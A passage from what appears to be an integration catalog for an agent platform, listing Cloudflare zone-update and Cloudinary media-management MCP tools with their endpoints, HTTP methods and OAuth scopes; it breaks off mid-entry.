/zones/{zone_id}/activation_check PUT /api/v1/cloudflare/zones/{zone_id}/activation_check. Scopes: zone:write. cloudflare_put_zones_by_zone_id_cache_origin_post_quantum_encryption (write) — Change Origin Post-Quantum Encryption setting (deprecated) via PUT /zones/{zone_id}/cache/origin_post_quantum_encryption PUT /api/v1/cloudflare/zones/{zone_id}/cache/origin_post_quantum_encryption. Scopes: zone_settings:write. cloudflare_put_zones_by_zone_id_certificate_authorities_hostname_associations (write) — Replace Hostname Associations via PUT /zones/{zone_id}/certificate_authorities/hostname_associations PUT /api/v1/cloudflare/zones/{zone_id}/certificate_authorities/hostname_associations. Scopes: ssl_certificates:write. cloudflare_put_zones_by_zone_id_custom_hostnames_by_custom_hostname_id_certificate_pack_by_certificate_pack_id_certificates_by_certificate_id (write) — Replace Custom Certificate and Custom Key In Custom Hostname via PUT /zones/{zone_id}/custom_hostnames/{custom_hostname_id}/certificate_pack/{certificate_pack_id}/certificates/{certificate_id} PUT /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/{custom_hostname_id}/certificate_pack/{certificate_pack_id}/certificates/{certificate_id}. Scopes: ssl_certificates:write. cloudflare_put_zones_by_zone_id_custom_hostnames_fallback_origin (write) — Update Fallback Origin for Custom Hostnames via PUT /zones/{zone_id}/custom_hostnames/fallback_origin PUT /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/fallback_origin. Scopes: ssl_certificates:write. cloudflare_put_zones_by_zone_id_custom_ns (write) — Set Account Custom Nameserver Related Zone Metadata (deprecated) via PUT /zones/{zone_id}/custom_ns PUT /api/v1/cloudflare/zones/{zone_id}/custom_ns. Scopes: zone:write. cloudflare_put_zones_by_zone_id_dns_records_by_dns_record_id (write) — Overwrite DNS Record via PUT /zones/{zone_id}/dns_records/{dns_record_id} PUT /api/v1/cloudflare/zones/{zone_id}/dns_records/{dns_record_id}. Scopes: dns:write. cloudflare_put_zones_by_zone_id_email_routing (write) — Update Email Routing settings (zone / email / routing) [PUT] via PUT /zones/{zone_id}/email/routing PUT /api/v1/cloudflare/zones/{zone_id}/email/routing. Scopes: zone_settings:write. cloudflare_put_zones_by_zone_id_filters (write) — Update filters (deprecated) via PUT /zones/{zone_id}/filters PUT /api/v1/cloudflare/zones/{zone_id}/filters. Scopes: firewall_services:write. cloudflare_put_zones_by_zone_id_filters_by_filter_id (write) — Update a filter (deprecated) via PUT /zones/{zone_id}/filters/{filter_id} PUT /api/v1/cloudflare/zones/{zone_id}/filters/{filter_id}. Scopes: firewall_services:write. cloudflare_put_zones_by_zone_id_firewall_lockdowns_by_lock_downs_id (write) — Update a Zone Lockdown rule via PUT /zones/{zone_id}/firewall/lockdowns/{lock_downs_id} PUT /api/v1/cloudflare/zones/{zone_id}/firewall/lockdowns/{lock_downs_id}. Scopes: firewall_services:write. cloudflare_put_zones_by_zone_id_firewall_rules (write) — Update firewall rules (deprecated) via PUT /zones/{zone_id}/firewall/rules PUT /api/v1/cloudflare/zones/{zone_id}/firewall/rules. Scopes: firewall_services:write. cloudflare_put_zones_by_zone_id_firewall_rules_by_rule_id (write) — Update a firewall rule (deprecated) via PUT /zones/{zone_id}/firewall/rules/{rule_id} PUT /api/v1/cloudflare/zones/{zone_id}/firewall/rules/{rule_id}. Scopes: firewall_services:write. cloudflare_put_zones_by_zone_id_firewall_ua_rules_by_ua_rule_id (write) — Update a User Agent Blocking rule via PUT /zones/{zone_id}/firewall/ua_rules/{ua_rule_id} PUT /api/v1/cloudflare/zones/{zone_id}/firewall/ua_rules/{ua_rule_id}. Scopes: firewall_services:write. cloudflare_put_zones_by_zone_id_firewall_waf_overrides_by_overrides_id (write) — Update WAF override (deprecated) via PUT /zones/{zone_id}/firewall/waf/overrides/{overrides_id} PUT /api/v1/cloudflare/zones/{zone_id}/firewall/waf/overrides/{overrides_id}. Scopes: zone_settings:write. cloudflare_put_zones_by_zone_id_hostnames_settings_by_setting_id_by_hostname (write) — Edit TLS setting for hostname via PUT /zones/{zone_id}/hostnames/settings/{setting_id}/{hostname} PUT /api/v1/cloudflare/zones/{zone_id}/hostnames/settings/{setting_id}/{hostname}. Scopes: ssl_certificates:write. cloudflare_put_zones_by_zone_id_origin_tls_client_auth_hostnames (write) — Enable or Disable a Hostname for Client Authentication via PUT /zones/{zone_id}/origin_tls_client_auth/hostnames PUT /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/hostnames. Scopes: ssl_certificates:write. cloudflare_put_zones_by_zone_id_origin_tls_client_auth_settings (write) — Set Enablement for Zone via PUT /zones/{zone_id}/origin_tls_client_auth/settings PUT /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/settings. Scopes: ssl_certificates:write. cloudflare_put_zones_by_zone_id_pagerules_by_pagerule_id (write) — Update a Page Rule via PUT /zones/{zone_id}/pagerules/{pagerule_id} PUT /api/v1/cloudflare/zones/{zone_id}/pagerules/{pagerule_id}. Scopes: page_rules:write. cloudflare_put_zones_by_zone_id_rate_limits_by_rate_limit_id (write) — Update a rate limit (deprecated) via PUT /zones/{zone_id}/rate_limits/{rate_limit_id} PUT /api/v1/cloudflare/zones/{zone_id}/rate_limits/{rate_limit_id}. Scopes: firewall_services:write. cloudflare_put_zones_by_zone_id_rulesets_by_ruleset_id (write) — Update a zone ruleset via PUT /zones/{zone_id}/rulesets/{ruleset_id} PUT /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}. Scopes: account_rulesets:write. cloudflare_put_zones_by_zone_id_rulesets_phases_by_ruleset_phase_entrypoint (write) — Update a zone entry point ruleset via PUT /zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint PUT /api/v1/cloudflare/zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint. Scopes: account_rulesets:write. cloudflare_put_zones_by_zone_id_secondary_dns_incoming (write) — Update Secondary Zone Configuration via PUT /zones/{zone_id}/secondary_dns/incoming PUT /api/v1/cloudflare/zones/{zone_id}/secondary_dns/incoming. Scopes: dns:write. cloudflare_put_zones_by_zone_id_secondary_dns_outgoing (write) — Update Primary Zone Configuration via PUT /zones/{zone_id}/secondary_dns/outgoing PUT /api/v1/cloudflare/zones/{zone_id}/secondary_dns/outgoing. Scopes: dns:write. cloudflare_put_zones_by_zone_id_security_center_insights_by_issue_id_dismiss (write) — Archives Zone Security Center Insight via PUT /zones/{zone_id}/security-center/insights/{issue_id}/dismiss PUT /api/v1/cloudflare/zones/{zone_id}/security-center/insights/{issue_id}/dismiss. Scopes: zone_settings:write. cloudflare_put_zones_by_zone_id_security_center_securitytxt (write) — Updates security.txt via PUT /zones/{zone_id}/security-center/securitytxt PUT /api/v1/cloudflare/zones/{zone_id}/security-center/securitytxt. Scopes: zone_settings:write. cloudflare_put_zones_by_zone_id_spectrum_apps_by_app_id (write) — Update Spectrum application configuration using a name for the origin via PUT /zones/{zone_id}/spectrum/apps/{app_id} PUT /api/v1/cloudflare/zones/{zone_id}/spectrum/apps/{app_id}. Scopes: zone_settings:write. cloudflare_put_zones_by_zone_id_url_normalization (write) — Update URL Normalization settings via PUT /zones/{zone_id}/url_normalization PUT /api/v1/cloudflare/zones/{zone_id}/url_normalization. Scopes: account_rulesets:write. ================================================================================ ## Cloudinary URL: https://www.agenticfabriq.com/integrations/cloudinary Section: Integrated Tools Cloudinary — 127 MCP tools Provider key: cloudinary. Scopes: asset_management, media_analysis, query_analysis_tasks, upload. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. cloudinary_delete_v1_1_by_cloud_name_derived_resources (write, destructive) — Derived Destroy. DELETE /v1_1/derived_resources DELETE /api/v1/cloudinary/v1_1/derived_resources. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_derived_resources_invalidate_by_urls (write, destructive) — Invalidate Derived By Urls. DELETE /v1_1/derived_resources/invalidate_by_urls DELETE /api/v1/cloudinary/v1_1/derived_resources/invalidate_by_urls. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_folders_by_folder (write, destructive) — Destroy Folder. DELETE /v1_1/folders/{folder} DELETE /api/v1/cloudinary/v1_1/folders/{folder}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_metadata_fields_by_external_id (write, destructive) — Delete Metadata Field. DELETE /v1_1/metadata_fields/{external_id} DELETE /api/v1/cloudinary/v1_1/metadata_fields/{external_id}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_metadata_fields_by_external_id_datasource (write, destructive) — Delete Metadata Field Datasource. DELETE /v1_1/metadata_fields/{external_id}/datasource DELETE /api/v1/cloudinary/v1_1/metadata_fields/{external_id}/datasource. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_metadata_rules_by_external_id (write, destructive) — Delete Metadata Rule. DELETE /v1_1/metadata_rules/{external_id} DELETE /api/v1/cloudinary/v1_1/metadata_rules/{external_id}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_resources_backup_by_asset_id (write, destructive) — Delete Backup Versions. DELETE /v1_1/resources/backup/{asset_id} DELETE /api/v1/cloudinary/v1_1/resources/backup/{asset_id}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_resources_by_resource_type_by_type (write, destructive) — Delete Resources By Public Id. DELETE /v1_1/resources/{resource_type}/{type} DELETE /api/v1/cloudinary/v1_1/resources/{resource_type}/{type}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_resources_related_assets_by_asset_id (write, destructive) — Delete Asset Relations By Asset Id. DELETE /v1_1/resources/related_assets/{asset_id} DELETE /api/v1/cloudinary/v1_1/resources/related_assets/{asset_id}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_resources_related_assets_by_resource_type_by_type_by_public_id (write, destructive) — Delete Asset Relations By Public Id. DELETE /v1_1/resources/related_assets/{resource_type}/{type}/{public_id} DELETE /api/v1/cloudinary/v1_1/resources/related_assets/{resource_type}/{type}/{public_id}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_streaming_profiles_by_name (write, destructive) — Delete Streaming Profile. DELETE /v1_1/streaming_profiles/{name} DELETE /api/v1/cloudinary/v1_1/streaming_profiles/{name}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_transformations_by_transformation (write, destructive) — Delete Transformation. DELETE /v1_1/transformations/{transformation} DELETE /api/v1/cloudinary/v1_1/transformations/{transformation}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_triggers_by_id (write, destructive) — Delete Trigger. DELETE /v1_1/triggers/{id} DELETE /api/v1/cloudinary/v1_1/triggers/{id}. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_upload_mappings (write, destructive) — Delete Upload Mapping. DELETE /v1_1/upload_mappings DELETE /api/v1/cloudinary/v1_1/upload_mappings. Scopes: asset_management, upload. cloudinary_delete_v1_1_by_cloud_name_upload_presets_by_name (write, destructive) — Delete Upload Preset. DELETE /v1_1/upload_presets/{name} DELETE /api/v1/cloudinary/v1_1/upload_presets/{name}. Scopes: asset_management, upload. cloudinary_get_tasks_by_task_id (read) — Get analysis task status. GET /v2/analysis/tasks/{task_id} GET /api/v1/cloudinary/v2/analysis/tasks/{task_id}. Scopes: query_analysis_tasks. cloudinary_get_v1_1_by_cloud_name_download_backup (read) — Download Backup Asset. GET /v1_1/download_backup GET /api/v1/cloudinary/v1_1/download_backup. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_folder_operations_invite_by_folder_id (read) — Get Folder Roles. GET /v1_1/folder_operations/invite/{folder_id} GET /api/v1/cloudinary/v1_1/folder_operations/invite/{folder_id}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_folders (read) — List Root Folders. GET /v1_1/folders GET /api/v1/cloudinary/v1_1/folders. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_folders_by_folder (read) — Show Folder. GET /v1_1/folders/{folder} GET /api/v1/cloudinary/v1_1/folders/{folder}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_folders_search (read) — Search Folders. GET /v1_1/folders/search GET /api/v1/cloudinary/v1_1/folders/search. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_metadata_fields (read) — List Metadata Fields. GET /v1_1/metadata_fields GET /api/v1/cloudinary/v1_1/metadata_fields. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_metadata_fields_by_external_id (read) — Get Metadata Field. GET /v1_1/metadata_fields/{external_id} GET /api/v1/cloudinary/v1_1/metadata_fields/{external_id}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_metadata_rules (read) — List Metadata Rules. GET /v1_1/metadata_rules GET /api/v1/cloudinary/v1_1/metadata_rules. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_operations_initial_backup (read) — List Initial Backups. GET /v1_1/operations/initial_backup GET /api/v1/cloudinary/v1_1/operations/initial_backup. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_operations_initial_backup_by_id (read) — Get Initial Backup. GET /v1_1/operations/initial_backup/{id} GET /api/v1/cloudinary/v1_1/operations/initial_backup/{id}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_people (read) — List People. GET /v1_1/people GET /api/v1/cloudinary/v1_1/people. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_people_by_person_id (read) — Get Person. GET /v1_1/people/{person_id} GET /api/v1/cloudinary/v1_1/people/{person_id}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources (read) — List Resource Types. GET /v1_1/resources GET /api/v1/cloudinary/v1_1/resources. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_by_asset_folder (read) — List Resources By Asset Folder. GET /v1_1/resources/by_asset_folder GET /api/v1/cloudinary/v1_1/resources/by_asset_folder. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_by_asset_id (read) — Get Resource By Asset Id. GET /v1_1/resources/{asset_id} GET /api/v1/cloudinary/v1_1/resources/{asset_id}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_by_asset_ids (read) — List Resources By Asset IDs. GET /v1_1/resources/by_asset_ids GET /api/v1/cloudinary/v1_1/resources/by_asset_ids. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_by_container_id_by_container_id (read) — List Resources By Container Id. GET /v1_1/resources/by_container_id/{container_id} GET /api/v1/cloudinary/v1_1/resources/by_container_id/{container_id}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_by_external_ids (read) — List Resources By External IDs. GET /v1_1/resources/by_external_ids GET /api/v1/cloudinary/v1_1/resources/by_external_ids. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_by_resource_type_by_type_by_public_id (read) — Get Resource By Public Id. GET /v1_1/resources/{resource_type}/{type}/{public_id} GET /api/v1/cloudinary/v1_1/resources/{resource_type}/{type}/{public_id}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_by_resource_type_context (read) — List Resources By Context. GET /v1_1/resources/{resource_type}/context GET /api/v1/cloudinary/v1_1/resources/{resource_type}/context. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_by_resource_type_moderations_by_moderation_kind_by_moderation_status (read) — List Resources By Moderation Kind And Status. GET /v1_1/resources/{resource_type}/moderations/{moderation_kind}/{moderation_status} GET /api/v1/cloudinary/v1_1/resources/{resource_type}/moderations/{moderation_kind}/{moderation_status}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_image (read) — List Images. GET /v1_1/resources/image GET /api/v1/cloudinary/v1_1/resources/image. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_raw (read) — List Raw Files. GET /v1_1/resources/raw GET /api/v1/cloudinary/v1_1/resources/raw. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_resources_video (read) — List Videos. GET /v1_1/resources/video GET /api/v1/cloudinary/v1_1/resources/video. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_streaming_profiles (read) — Get Streaming Profiles. GET /v1_1/streaming_profiles GET /api/v1/cloudinary/v1_1/streaming_profiles. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_streaming_profiles_by_name (read) — Get Streaming Profile. GET /v1_1/streaming_profiles/{name} GET /api/v1/cloudinary/v1_1/streaming_profiles/{name}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_tags_by_resource_type (read) — List Resource Tags. GET /v1_1/tags/{resource_type} GET /api/v1/cloudinary/v1_1/tags/{resource_type}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_transformations (read) — List Transformations. GET /v1_1/transformations GET /api/v1/cloudinary/v1_1/transformations. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_transformations_by_transformation (read) — Get Transformation. GET /v1_1/transformations/{transformation} GET /api/v1/cloudinary/v1_1/transformations/{transformation}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_triggers (read) — List Trigger. GET /v1_1/triggers GET /api/v1/cloudinary/v1_1/triggers. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_upload_mappings (read) — List Upload Mappings. GET /v1_1/upload_mappings GET /api/v1/cloudinary/v1_1/upload_mappings. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_upload_presets (read) — List Upload Presets. GET /v1_1/upload_presets GET /api/v1/cloudinary/v1_1/upload_presets. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_upload_presets_by_name (read) — Get Upload Preset. GET /v1_1/upload_presets/{name} GET /api/v1/cloudinary/v1_1/upload_presets/{name}. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_usage (read) — Get Usage. GET /v1_1/usage GET /api/v1/cloudinary/v1_1/usage. Scopes: asset_management, upload. cloudinary_get_v1_1_by_cloud_name_video_analytics_views (read) — Get Video Views. GET /v1_1/video/analytics/views GET /api/v1/cloudinary/v1_1/video/analytics/views. Scopes: asset_management, upload. cloudinary_get_v2_generate_by_cloud_name_tasks_by_task_id (read) — Get generation task status. GET /v2/generate/tasks/{task_id} GET /api/v1/cloudinary/v2/generate/tasks/{task_id}. Scopes: asset_management, upload. cloudinary_post_analyze_ai_vision_general (write) — Analyze ai vision general. POST /v2/analysis/analyze/ai_vision_general POST /api/v1/cloudinary/v2/analysis/analyze/ai_vision_general. Scopes: media_analysis. cloudinary_post_analyze_ai_vision_moderation (write) — Analyze ai vision moderation. POST /v2/analysis/analyze/ai_vision_moderation POST /api/v1/cloudinary/v2/analysis/analyze/ai_vision_moderation. Scopes: media_analysis. cloudinary_post_analyze_ai_vision_tagging (write) — Analyze ai vision tagging. POST /v2/analysis/analyze/ai_vision_tagging POST /api/v1/cloudinary/v2/analysis/analyze/ai_vision_tagging. Scopes: media_analysis. cloudinary_post_analyze_captioning (write) — Analyze captioning. POST /v2/analysis/analyze/captioning POST /api/v1/cloudinary/v2/analysis/analyze/captioning. Scopes: media_analysis. cloudinary_post_analyze_cld_fashion (write) — Analyze cld fashion. POST /v2/analysis/analyze/cld_fashion POST /api/v1/cloudinary/v2/analysis/analyze/cld_fashion. Scopes: media_analysis. cloudinary_post_analyze_cld_text (write) — Analyze cld text. POST /v2/analysis/analyze/cld_text POST /api/v1/cloudinary/v2/analysis/analyze/cld_text. Scopes: media_analysis. cloudinary_post_analyze_coco (write) — Analyze coco. POST /v2/analysis/analyze/coco POST /api/v1/cloudinary/v2/analysis/analyze/coco. Scopes: media_analysis. cloudinary_post_analyze_google_logo_detection (write) — Analyze google logo detection. POST /v2/analysis/analyze/google_logo_detection POST /api/v1/cloudinary/v2/analysis/analyze/google_logo_detection. Scopes: media_analysis. cloudinary_post_analyze_google_tagging (write) — Analyze google tagging. POST /v2/analysis/analyze/google_tagging POST /api/v1/cloudinary/v2/analysis/analyze/google_tagging. Scopes: media_analysis. cloudinary_post_analyze_human_anatomy (write) — Analyze human anatomy. POST /v2/analysis/analyze/human_anatomy POST /api/v1/cloudinary/v2/analysis/analyze/human_anatomy. Scopes: media_analysis. cloudinary_post_analyze_image_quality (write) — Analyze image quality. POST /v2/analysis/analyze/image_quality POST /api/v1/cloudinary/v2/analysis/analyze/image_quality. Scopes: media_analysis. cloudinary_post_analyze_lvis (write) — Analyze lvis. POST /v2/analysis/analyze/lvis POST /api/v1/cloudinary/v2/analysis/analyze/lvis. Scopes: media_analysis. cloudinary_post_analyze_shop_classifier (write) — Analyze shop classifier. POST /v2/analysis/analyze/shop_classifier POST /api/v1/cloudinary/v2/analysis/analyze/shop_classifier. Scopes: media_analysis. cloudinary_post_analyze_unidet (write) — Analyze unidet. POST /v2/analysis/analyze/unidet POST /api/v1/cloudinary/v2/analysis/analyze/unidet. Scopes: media_analysis. cloudinary_post_analyze_watermark_detection (write) — Analyze watermark detection. POST /v2/analysis/analyze/watermark_detection POST /api/v1/cloudinary/v2/analysis/analyze/watermark_detection. Scopes: media_analysis. cloudinary_post_v1_1_by_cloud_name_asset_destroy (write) — Destroy By Asset Id. POST /v1_1/asset/destroy POST /api/v1/cloudinary/v1_1/asset/destroy. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_context (write) — Update Assets Context. POST /v1_1/{resource_type}/context POST /api/v1/cloudinary/v1_1/{resource_type}/context. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_destroy (write) — Destroy Asset. POST /v1_1/{resource_type}/destroy POST /api/v1/cloudinary/v1_1/{resource_type}/destroy. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_explicit (write) — Explicit Asset. POST /v1_1/{resource_type}/explicit POST /api/v1/cloudinary/v1_1/{resource_type}/explicit. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_explode (write) — Explode Resource. POST /v1_1/{resource_type}/explode POST /api/v1/cloudinary/v1_1/{resource_type}/explode. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_generate_archive (write) — Generate Archive. POST /v1_1/{resource_type}/generate_archive POST /api/v1/cloudinary/v1_1/{resource_type}/generate_archive. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_metadata (write) — Update Assets Metadata. POST /v1_1/{resource_type}/metadata POST /api/v1/cloudinary/v1_1/{resource_type}/metadata. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_rename (write) — Rename Asset. POST /v1_1/{resource_type}/rename POST /api/v1/cloudinary/v1_1/{resource_type}/rename. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_tags (write) — Update Assets Tags. POST /v1_1/{resource_type}/tags POST /api/v1/cloudinary/v1_1/{resource_type}/tags. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_text (write) — Text. POST /v1_1/{resource_type}/text POST /api/v1/cloudinary/v1_1/{resource_type}/text. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_by_resource_type_upload (write) — Upload. POST /v1_1/{resource_type}/upload POST /api/v1/cloudinary/v1_1/{resource_type}/upload. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_eval (write) — Eval Upload Params. POST /v1_1/eval POST /api/v1/cloudinary/v1_1/eval. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_folder_operations_invite_by_folder_id (write) — Assign Folder Roles. POST /v1_1/folder_operations/invite/{folder_id} POST /api/v1/cloudinary/v1_1/folder_operations/invite/{folder_id}. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_folders_by_folder (write) — Create Folder. POST /v1_1/folders/{folder} POST /api/v1/cloudinary/v1_1/folders/{folder}. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_folders_search (write) — Search Folders Post. POST /v1_1/folders/search POST /api/v1/cloudinary/v1_1/folders/search. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_metadata_fields (write) — Create Metadata Field. POST /v1_1/metadata_fields POST /api/v1/cloudinary/v1_1/metadata_fields. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_metadata_fields_by_external_id_datasource_order (write) — Order Metadata Field Datasource Post. POST /v1_1/metadata_fields/{external_id}/datasource/order POST /api/v1/cloudinary/v1_1/metadata_fields/{external_id}/datasource/order. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_metadata_fields_by_external_id_datasource_restore (write) — Restore Metadata Field Datasource. POST /v1_1/metadata_fields/{external_id}/datasource_restore POST /api/v1/cloudinary/v1_1/metadata_fields/{external_id}/datasource_restore. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_metadata_fields_by_external_id_datasource_search (write) — Search Datasource In MDField. POST /v1_1/metadata_fields/{external_id}/datasource/search POST /api/v1/cloudinary/v1_1/metadata_fields/{external_id}/datasource/search. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_metadata_fields_datasource_search (write) — Search Metadata Field Datasource. POST /v1_1/metadata_fields/datasource/search POST /api/v1/cloudinary/v1_1/metadata_fields/datasource/search. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_metadata_rules (write) — Create Metadata Rule. POST /v1_1/metadata_rules POST /api/v1/cloudinary/v1_1/metadata_rules. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_operations_initial_backup (write) — Create Initial Backup. POST /v1_1/operations/initial_backup POST /api/v1/cloudinary/v1_1/operations/initial_backup. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_people_inspect (write) — Inspect People Permissions. POST /v1_1/people/inspect POST /api/v1/cloudinary/v1_1/people/inspect. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_resources_by_resource_type_by_type_by_public_id (write) — Update Resource By Public Id. POST /v1_1/resources/{resource_type}/{type}/{public_id} POST /api/v1/cloudinary/v1_1/resources/{resource_type}/{type}/{public_id}. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_resources_get_resource (write) — Get Resource By Body. POST /v1_1/resources/get_resource POST /api/v1/cloudinary/v1_1/resources/get_resource. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_resources_related_assets_by_asset_id (write) — Create Asset Relations By Asset Id. POST /v1_1/resources/related_assets/{asset_id} POST /api/v1/cloudinary/v1_1/resources/related_assets/{asset_id}. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_resources_related_assets_by_resource_type_by_type_by_public_id (write) — Create Asset Relations By Public Id. POST /v1_1/resources/related_assets/{resource_type}/{type}/{public_id} POST /api/v1/cloudinary/v1_1/resources/related_assets/{resource_type}/{type}/{public_id}. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_resources_restore (write) — Restore Resources By Asset IDs. POST /v1_1/resources/restore POST /api/v1/cloudinary/v1_1/resources/restore. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_resources_search (write) — Search Assets. POST /v1_1/resources/search POST /api/v1/cloudinary/v1_1/resources/search. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_resources_update (write) — Update Resource By Body. POST /v1_1/resources/update POST /api/v1/cloudinary/v1_1/resources/update. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_resources_visual_search (write) — Visual Search Assets. POST /v1_1/resources/visual_search POST /api/v1/cloudinary/v1_1/resources/visual_search. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_streaming_profiles (write) — Create Streaming Profile. POST /v1_1/streaming_profiles POST /api/v1/cloudinary/v1_1/streaming_profiles. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_transformations_by_transformation (write) — Create Transformation. POST /v1_1/transformations/{transformation} POST /api/v1/cloudinary/v1_1/transformations/{transformation}. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_triggers (write) — Create Trigger. POST /v1_1/triggers POST /api/v1/cloudinary/v1_1/triggers. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_triggers_by_id_test (write) — Test Trigger. POST /v1_1/triggers/{id}/test POST /api/v1/cloudinary/v1_1/triggers/{id}/test. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_upload (write) — Upload No Resource Type. POST /v1_1/upload POST /api/v1/cloudinary/v1_1/upload. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_upload_mappings (write) — Create Upload Mapping. POST /v1_1/upload_mappings POST /api/v1/cloudinary/v1_1/upload_mappings. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_upload_presets (write) — Create Upload Preset. POST /v1_1/upload_presets POST /api/v1/cloudinary/v1_1/upload_presets. Scopes: asset_management, upload. cloudinary_post_v1_1_by_cloud_name_video_concat (write) — Concat. POST /v1_1/video/concat POST /api/v1/cloudinary/v1_1/video/concat. Scopes: asset_management, upload. cloudinary_post_v2_generate_by_cloud_name_image_to_image (write) — Generate image from images. POST /v2/generate/image_to_image POST 